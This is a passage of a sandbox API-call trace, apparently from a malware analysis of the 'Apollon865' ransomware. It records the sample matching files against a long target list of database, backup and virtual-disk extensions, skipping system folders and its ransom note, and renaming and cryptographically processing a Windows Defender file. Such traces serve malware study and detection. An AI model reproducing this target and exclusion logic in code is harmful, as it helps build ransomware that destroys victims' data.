	[0079.651] lstrcmpiW (lpString1=".vdm", lpString2="dlis") returned -1
	[0079.651] lstrlenW (lpString="dp1") returned 3
	[0079.651] lstrcmpiW (lpString1="vdm", lpString2="dp1") returned 1
	[0079.651] lstrlenW (lpString="dqy") returned 3
	[0079.651] lstrcmpiW (lpString1="vdm", lpString2="dqy") returned 1
	[0079.651] lstrlenW (lpString="dsk") returned 3
	[0079.651] lstrcmpiW (lpString1="vdm", lpString2="dsk") returned 1
	[0079.651] lstrlenW (lpString="dsn") returned 3
	[0079.651] lstrcmpiW (lpString1="vdm", lpString2="dsn") returned 1
	[0079.651] lstrlenW (lpString="dtsx") returned 4
	[0079.652] lstrcmpiW (lpString1=".vdm", lpString2="dtsx") returned -1
	[0079.652] lstrlenW (lpString="dxl") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="dxl") returned 1
	[0079.652] lstrlenW (lpString="eco") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="eco") returned 1
	[0079.652] lstrlenW (lpString="ecx") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="ecx") returned 1
	[0079.652] lstrlenW (lpString="edb") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="edb") returned 1
	[0079.652] lstrlenW (lpString="epim") returned 4
	[0079.652] lstrcmpiW (lpString1=".vdm", lpString2="epim") returned -1
	[0079.652] lstrlenW (lpString="fcd") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="fcd") returned 1
	[0079.652] lstrlenW (lpString="fdb") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="fdb") returned 1
	[0079.652] lstrlenW (lpString="fic") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="fic") returned 1
	[0079.652] lstrlenW (lpString="flexolibrary") returned 12
	[0079.652] lstrlenW (lpString="fm5") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="fm5") returned 1
	[0079.652] lstrlenW (lpString="fmp") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="fmp") returned 1
	[0079.652] lstrlenW (lpString="fmp12") returned 5
	[0079.652] lstrcmpiW (lpString1="a.vdm", lpString2="fmp12") returned -1
	[0079.652] lstrlenW (lpString="fmpsl") returned 5
	[0079.652] lstrcmpiW (lpString1="a.vdm", lpString2="fmpsl") returned -1
	[0079.652] lstrlenW (lpString="fol") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="fol") returned 1
	[0079.652] lstrlenW (lpString="fp3") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="fp3") returned 1
	[0079.652] lstrlenW (lpString="fp4") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="fp4") returned 1
	[0079.652] lstrlenW (lpString="fp5") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="fp5") returned 1
	[0079.652] lstrlenW (lpString="fp7") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="fp7") returned 1
	[0079.652] lstrlenW (lpString="fpt") returned 3
	[0079.652] lstrcmpiW (lpString1="vdm", lpString2="fpt") returned 1
	[0079.652] lstrlenW (lpString="frm") returned 3
	[0079.653] lstrcmpiW (lpString1="vdm", lpString2="frm") returned 1
	[0079.653] lstrlenW (lpString="gdb") returned 3
	[0079.653] lstrcmpiW (lpString1="vdm", lpString2="gdb") returned 1
	[0079.653] lstrlenW (lpString="gdb") returned 3
	[0079.653] lstrcmpiW (lpString1="vdm", lpString2="gdb") returned 1
	[0079.653] lstrlenW (lpString="grdb") returned 4
	[0079.653] lstrcmpiW (lpString1=".vdm", lpString2="grdb") returned -1
	[0079.653] lstrlenW (lpString="gwi") returned 3
	[0079.653] lstrcmpiW (lpString1="vdm", lpString2="gwi") returned 1
	[0079.653] lstrlenW (lpString="hdb") returned 3
	[0079.653] lstrcmpiW (lpString1="vdm", lpString2="hdb") returned 1
	[0079.653] lstrlenW (lpString="his") returned 3
	[0079.653] lstrcmpiW (lpString1="vdm", lpString2="his") returned 1
	[0079.653] lstrlenW (lpString="ib") returned 2
	[0079.653] lstrcmpiW (lpString1="dm", lpString2="ib") returned -1
	[0079.653] lstrlenW (lpString="idb") returned 3
	[0079.653] lstrcmpiW (lpString1="vdm", lpString2="idb") returned 1
	[0079.653] lstrlenW (lpString="ihx") returned 3
	[0079.653] lstrcmpiW (lpString1="vdm", lpString2="ihx") returned 1
	[0079.653] lstrlenW (lpString="itdb") returned 4
	[0079.653] lstrcmpiW (lpString1=".vdm", lpString2="itdb") returned -1
	[0079.653] lstrlenW (lpString="itw") returned 3
	[0079.653] lstrcmpiW (lpString1="vdm", lpString2="itw") returned 1
	[0079.653] lstrlenW (lpString="jet") returned 3
	[0079.653] lstrcmpiW (lpString1="vdm", lpString2="jet") returned 1
	[0079.653] lstrlenW (lpString="jtx") returned 3
	[0079.653] lstrcmpiW (lpString1="vdm", lpString2="jtx") returned 1
	[0079.653] lstrlenW (lpString="kdb") returned 3
	[0079.653] lstrcmpiW (lpString1="vdm", lpString2="kdb") returned 1
	[0079.653] lstrlenW (lpString="kexi") returned 4
	[0079.653] lstrcmpiW (lpString1=".vdm", lpString2="kexi") returned -1
	[0079.653] lstrlenW (lpString="kexic") returned 5
	[0079.653] lstrcmpiW (lpString1="a.vdm", lpString2="kexic") returned -1
	[0079.653] lstrlenW (lpString="kexis") returned 5
	[0079.653] lstrcmpiW (lpString1="a.vdm", lpString2="kexis") returned -1
	[0079.653] lstrlenW (lpString="lgc") returned 3
	[0079.653] lstrcmpiW (lpString1="vdm", lpString2="lgc") returned 1
	[0079.654] lstrlenW (lpString="lwx") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="lwx") returned 1
	[0079.654] lstrlenW (lpString="maf") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="maf") returned 1
	[0079.654] lstrlenW (lpString="maq") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="maq") returned 1
	[0079.654] lstrlenW (lpString="mar") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="mar") returned 1
	[0079.654] lstrlenW (lpString="marshal") returned 7
	[0079.654] lstrcmpiW (lpString1="lta.vdm", lpString2="marshal") returned -1
	[0079.654] lstrlenW (lpString="mas") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="mas") returned 1
	[0079.654] lstrlenW (lpString="mav") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="mav") returned 1
	[0079.654] lstrlenW (lpString="maw") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="maw") returned 1
	[0079.654] lstrlenW (lpString="mdbhtml") returned 7
	[0079.654] lstrcmpiW (lpString1="lta.vdm", lpString2="mdbhtml") returned -1
	[0079.654] lstrlenW (lpString="mdn") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="mdn") returned 1
	[0079.654] lstrlenW (lpString="mdt") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="mdt") returned 1
	[0079.654] lstrlenW (lpString="mfd") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="mfd") returned 1
	[0079.654] lstrlenW (lpString="mpd") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="mpd") returned 1
	[0079.654] lstrlenW (lpString="mrg") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="mrg") returned 1
	[0079.654] lstrlenW (lpString="mud") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="mud") returned 1
	[0079.654] lstrlenW (lpString="mwb") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="mwb") returned 1
	[0079.654] lstrlenW (lpString="myd") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="myd") returned 1
	[0079.654] lstrlenW (lpString="ndf") returned 3
	[0079.654] lstrcmpiW (lpString1="vdm", lpString2="ndf") returned 1
	[0079.654] lstrlenW (lpString="nnt") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="nnt") returned 1
	[0079.655] lstrlenW (lpString="nrmlib") returned 6
	[0079.655] lstrcmpiW (lpString1="ta.vdm", lpString2="nrmlib") returned 1
	[0079.655] lstrlenW (lpString="ns2") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="ns2") returned 1
	[0079.655] lstrlenW (lpString="ns3") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="ns3") returned 1
	[0079.655] lstrlenW (lpString="ns4") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="ns4") returned 1
	[0079.655] lstrlenW (lpString="nsf") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="nsf") returned 1
	[0079.655] lstrlenW (lpString="nv") returned 2
	[0079.655] lstrcmpiW (lpString1="dm", lpString2="nv") returned -1
	[0079.655] lstrlenW (lpString="nv2") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="nv2") returned 1
	[0079.655] lstrlenW (lpString="nwdb") returned 4
	[0079.655] lstrcmpiW (lpString1=".vdm", lpString2="nwdb") returned -1
	[0079.655] lstrlenW (lpString="nyf") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="nyf") returned 1
	[0079.655] lstrlenW (lpString="odb") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="odb") returned 1
	[0079.655] lstrlenW (lpString="odb") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="odb") returned 1
	[0079.655] lstrlenW (lpString="oqy") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="oqy") returned 1
	[0079.655] lstrlenW (lpString="ora") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="ora") returned 1
	[0079.655] lstrlenW (lpString="orx") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="orx") returned 1
	[0079.655] lstrlenW (lpString="owc") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="owc") returned 1
	[0079.655] lstrlenW (lpString="p96") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="p96") returned 1
	[0079.655] lstrlenW (lpString="p97") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="p97") returned 1
	[0079.655] lstrlenW (lpString="pan") returned 3
	[0079.655] lstrcmpiW (lpString1="vdm", lpString2="pan") returned 1
	[0079.655] lstrlenW (lpString="pdb") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="pdb") returned 1
	[0079.656] lstrlenW (lpString="pdm") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="pdm") returned 1
	[0079.656] lstrlenW (lpString="pnz") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="pnz") returned 1
	[0079.656] lstrlenW (lpString="qry") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="qry") returned 1
	[0079.656] lstrlenW (lpString="qvd") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="qvd") returned 1
	[0079.656] lstrlenW (lpString="rbf") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="rbf") returned 1
	[0079.656] lstrlenW (lpString="rctd") returned 4
	[0079.656] lstrcmpiW (lpString1=".vdm", lpString2="rctd") returned -1
	[0079.656] lstrlenW (lpString="rod") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="rod") returned 1
	[0079.656] lstrlenW (lpString="rodx") returned 4
	[0079.656] lstrcmpiW (lpString1=".vdm", lpString2="rodx") returned -1
	[0079.656] lstrlenW (lpString="rpd") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="rpd") returned 1
	[0079.656] lstrlenW (lpString="rsd") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="rsd") returned 1
	[0079.656] lstrlenW (lpString="sas7bdat") returned 8
	[0079.656] lstrcmpiW (lpString1="dlta.vdm", lpString2="sas7bdat") returned -1
	[0079.656] lstrlenW (lpString="sbf") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="sbf") returned 1
	[0079.656] lstrlenW (lpString="scx") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="scx") returned 1
	[0079.656] lstrlenW (lpString="sdb") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="sdb") returned 1
	[0079.656] lstrlenW (lpString="sdc") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="sdc") returned 1
	[0079.656] lstrlenW (lpString="sdf") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="sdf") returned 1
	[0079.656] lstrlenW (lpString="sis") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="sis") returned 1
	[0079.656] lstrlenW (lpString="spq") returned 3
	[0079.656] lstrcmpiW (lpString1="vdm", lpString2="spq") returned 1
	[0079.656] lstrlenW (lpString="te") returned 2
	[0079.656] lstrcmpiW (lpString1="dm", lpString2="te") returned -1
	[0079.657] lstrlenW (lpString="teacher") returned 7
	[0079.657] lstrcmpiW (lpString1="lta.vdm", lpString2="teacher") returned -1
	[0079.657] lstrlenW (lpString="tmd") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="tmd") returned 1
	[0079.657] lstrlenW (lpString="tps") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="tps") returned 1
	[0079.657] lstrlenW (lpString="trc") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="trc") returned 1
	[0079.657] lstrlenW (lpString="trc") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="trc") returned 1
	[0079.657] lstrlenW (lpString="trm") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="trm") returned 1
	[0079.657] lstrlenW (lpString="udb") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="udb") returned 1
	[0079.657] lstrlenW (lpString="udl") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="udl") returned 1
	[0079.657] lstrlenW (lpString="usr") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="usr") returned 1
	[0079.657] lstrlenW (lpString="v12") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="v12") returned 1
	[0079.657] lstrlenW (lpString="vis") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="vis") returned -1
	[0079.657] lstrlenW (lpString="vpd") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="vpd") returned -1
	[0079.657] lstrlenW (lpString="vvv") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="vvv") returned -1
	[0079.657] lstrlenW (lpString="wdb") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="wdb") returned -1
	[0079.657] lstrlenW (lpString="wmdb") returned 4
	[0079.657] lstrcmpiW (lpString1=".vdm", lpString2="wmdb") returned -1
	[0079.657] lstrlenW (lpString="wrk") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="wrk") returned -1
	[0079.657] lstrlenW (lpString="xdb") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="xdb") returned -1
	[0079.657] lstrlenW (lpString="xld") returned 3
	[0079.657] lstrcmpiW (lpString1="vdm", lpString2="xld") returned -1
	[0079.657] lstrlenW (lpString="xmlff") returned 5
	[0079.658] lstrcmpiW (lpString1="a.vdm", lpString2="xmlff") returned -1
	[0079.658] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm.Apollon865") returned 127
	[0079.658] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasdlta.vdm"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasdlta.vdm.apollon865"), dwFlags=0x1) returned 1
	[0079.660] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\mpasdlta.vdm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0079.660] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=339344) returned 1
	[0079.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0079.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0079.660] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0079.661] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0079.661] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.661] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x53090, lpName=0x0) returned 0x15c
	[0079.663] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x53090) returned 0x210000
	[0079.679] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0079.679] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0079.679] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0079.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0079.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0079.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0079.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.680] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0079.685] CloseHandle (hObject=0x15c) returned 1
	[0079.685] CloseHandle (hObject=0x9c) returned 1
	[0079.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0079.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0079.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.687] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x93b6800, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpengine.dll", cAlternateFileName="")) returned 1
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2="Apollon865.txt.exe") returned 1
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2=".") returned 1
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2="..") returned 1
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2="windows") returned -1
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2="bootmgr") returned 1
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2="temp") returned -1
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2="pagefile.sys") returned -1
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2="boot") returned 1
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2="ids.txt") returned 1
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2="ntuser.dat") returned -1
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2="perflogs") returned -1
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2="MSBuild") returned -1
	[0079.687] lstrlenW (lpString="mpengine.dll") returned 12
	[0079.687] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm") returned 116
	[0079.687] lstrcpyW (in: lpString1=0x119e6d8, lpString2="mpengine.dll" | out: lpString1="mpengine.dll") returned="mpengine.dll"
	[0079.687] lstrlenW (lpString="mpengine.dll") returned 12
	[0079.687] lstrlenW (lpString="Apollon865") returned 10
	[0079.687] lstrcmpiW (lpString1="engine.dll", lpString2="Apollon865") returned 1
	[0079.687] lstrlenW (lpString=".dll") returned 4
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2=".dll") returned 1
	[0079.687] lstrlenW (lpString=".lnk") returned 4
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2=".lnk") returned 1
	[0079.687] lstrlenW (lpString=".ini") returned 4
	[0079.687] lstrcmpiW (lpString1="mpengine.dll", lpString2=".ini") returned 1
	[0079.687] lstrlenW (lpString=".sys") returned 4
	[0079.688] lstrcmpiW (lpString1="mpengine.dll", lpString2=".sys") returned 1
	[0079.688] lstrlenW (lpString="mpengine.dll") returned 12
	[0079.688] lstrlenW (lpString="bak") returned 3
	[0079.688] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0079.688] lstrlenW (lpString="ba_") returned 3
	[0079.688] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0079.688] lstrlenW (lpString="dbb") returned 3
	[0079.688] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0079.688] lstrlenW (lpString="vmdk") returned 4
	[0079.688] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0079.688] lstrlenW (lpString="rar") returned 3
	[0079.688] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0079.688] lstrlenW (lpString="zip") returned 3
	[0079.688] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0079.688] lstrlenW (lpString="tgz") returned 3
	[0079.688] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0079.688] lstrlenW (lpString="vbox") returned 4
	[0079.688] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0079.688] lstrlenW (lpString="vdi") returned 3
	[0079.688] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0079.688] lstrlenW (lpString="vhd") returned 3
	[0079.688] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0079.688] lstrlenW (lpString="vhdx") returned 4
	[0079.688] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0079.688] lstrlenW (lpString="avhd") returned 4
	[0079.688] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0079.688] lstrlenW (lpString="db") returned 2
	[0079.688] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0079.688] lstrlenW (lpString="db2") returned 3
	[0079.688] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0079.688] lstrlenW (lpString="db3") returned 3
	[0079.688] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0079.688] lstrlenW (lpString="dbf") returned 3
	[0079.688] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0079.688] lstrlenW (lpString="mdf") returned 3
	[0079.688] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0079.688] lstrlenW (lpString="mdb") returned 3
	[0079.688] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0079.689] lstrlenW (lpString="sql") returned 3
	[0079.689] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0079.689] lstrlenW (lpString="sqlite") returned 6
	[0079.689] lstrcmpiW (lpString1="ne.dll", lpString2="sqlite") returned -1
	[0079.689] lstrlenW (lpString="sqlite3") returned 7
	[0079.689] lstrcmpiW (lpString1="ine.dll", lpString2="sqlite3") returned -1
	[0079.689] lstrlenW (lpString="sqlitedb") returned 8
	[0079.689] lstrcmpiW (lpString1="gine.dll", lpString2="sqlitedb") returned -1
	[0079.689] lstrlenW (lpString="xml") returned 3
	[0079.689] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0079.689] lstrlenW (lpString="$er") returned 3
	[0079.689] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0079.689] lstrlenW (lpString="4dd") returned 3
	[0079.689] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0079.689] lstrlenW (lpString="4dl") returned 3
	[0079.689] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0079.689] lstrlenW (lpString="^^^") returned 3
	[0079.689] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0079.689] lstrlenW (lpString="abs") returned 3
	[0079.689] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0079.689] lstrlenW (lpString="abx") returned 3
	[0079.689] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0079.689] lstrlenW (lpString="accdb") returned 5
	[0079.689] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1
	[0079.689] lstrlenW (lpString="accdc") returned 5
	[0079.689] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1
	[0079.689] lstrlenW (lpString="accde") returned 5
	[0079.689] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1
	[0079.689] lstrlenW (lpString="accdr") returned 5
	[0079.689] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1
	[0079.689] lstrlenW (lpString="accdt") returned 5
	[0079.689] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1
	[0079.689] lstrlenW (lpString="accdw") returned 5
	[0079.689] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1
	[0079.689] lstrlenW (lpString="accft") returned 5
	[0079.689] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1
	[0079.689] lstrlenW (lpString="adb") returned 3
	[0079.689] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0079.690] lstrlenW (lpString="adb") returned 3
	[0079.690] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0079.690] lstrlenW (lpString="ade") returned 3
	[0079.690] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0079.690] lstrlenW (lpString="adf") returned 3
	[0079.690] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0079.690] lstrlenW (lpString="adn") returned 3
	[0079.690] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0079.690] lstrlenW (lpString="adp") returned 3
	[0079.690] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0079.690] lstrlenW (lpString="alf") returned 3
	[0079.690] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0079.690] lstrlenW (lpString="ask") returned 3
	[0079.690] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0079.690] lstrlenW (lpString="btr") returned 3
	[0079.690] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0079.690] lstrlenW (lpString="cat") returned 3
	[0079.690] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0079.690] lstrlenW (lpString="cdb") returned 3
	[0079.690] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0079.690] lstrlenW (lpString="ckp") returned 3
